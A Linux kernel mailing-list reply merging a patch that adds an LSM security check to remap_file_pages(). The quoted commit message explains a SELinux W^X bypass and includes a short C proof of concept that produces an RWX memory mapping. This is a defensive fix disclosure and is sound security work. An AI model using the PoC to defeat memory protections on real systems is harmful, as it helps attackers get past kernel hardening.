[PATCH] mm: call the security_mmap_file() LSM hook in remap_file_pages()

[Paul Moore]

On Thu, Sep 19, 2024 at 4:09 AM Paul Moore <paul at paul-moore.com> wrote:
>
> From: Shu Han <ebpqwerty472123 at gmail.com>
>
> The remap_file_pages syscall handler calls do_mmap() directly, which
> doesn't contain the LSM security check. And if the process has called
> personality(READ_IMPLIES_EXEC) before and remap_file_pages() is called for
> RW pages, this will actually result in remapping the pages to RWX,
> bypassing a W^X policy enforced by SELinux.
>
> So we should check prot by security_mmap_file LSM hook in the
> remap_file_pages syscall handler before do_mmap() is called. Otherwise, it
> potentially permits an attacker to bypass a W^X policy enforced by
> SELinux.
>
> The bypass is similar to CVE-2016-10044, which bypass the same thing via
> AIO and can be found in [1].
>
> The PoC:
>
> $ cat > test.c
>
> int main(void) {
>         size_t pagesz = sysconf(_SC_PAGE_SIZE);
>         int mfd = syscall(SYS_memfd_create, "test", 0);
>         const char *buf = mmap(NULL, 4 * pagesz, PROT_READ | PROT_WRITE,
>                 MAP_SHARED, mfd, 0);
>         unsigned int old = syscall(SYS_personality, 0xffffffff);
>         syscall(SYS_personality, READ_IMPLIES_EXEC | old);
>         syscall(SYS_remap_file_pages, buf, pagesz, 0, 2, 0);
>         syscall(SYS_personality, old);
>         // show the RWX page exists even if W^X policy is enforced
>         int fd = open("/proc/self/maps", O_RDONLY);
>         unsigned char buf2[1024];
>         while (1) {
>                 int ret = read(fd, buf2, 1024);
>                 if (ret <= 0) break;
>                 write(1, buf2, ret);
>         }
>         close(fd);
> }
>
> $ gcc test.c -o test
> $ ./test | grep rwx
> 7f1836c34000-7f1836c35000 rwxs 00002000 00:01 2050 /memfd:test (deleted)
>
> Link: https://project-zero.issues.chromium.org/issues/42452389 [1]
> Cc: stable at vger.kernel.org
> Signed-off-by: Shu Han <ebpqwerty472123 at gmail.com>
> Acked-by: Stephen Smalley <stephen.smalley.work at gmail.com>
> [PM: subject line tweaks]
> Signed-off-by: Paul Moore <paul at paul-moore.com>
> ---
>  mm/mmap.c | 4 ++++
>  1 file changed, 4 insertions(+)

I've just merged this into the lsm/stable-6.12 branch and plan to send
this to Linus shortly.

-- 
paul-moore.com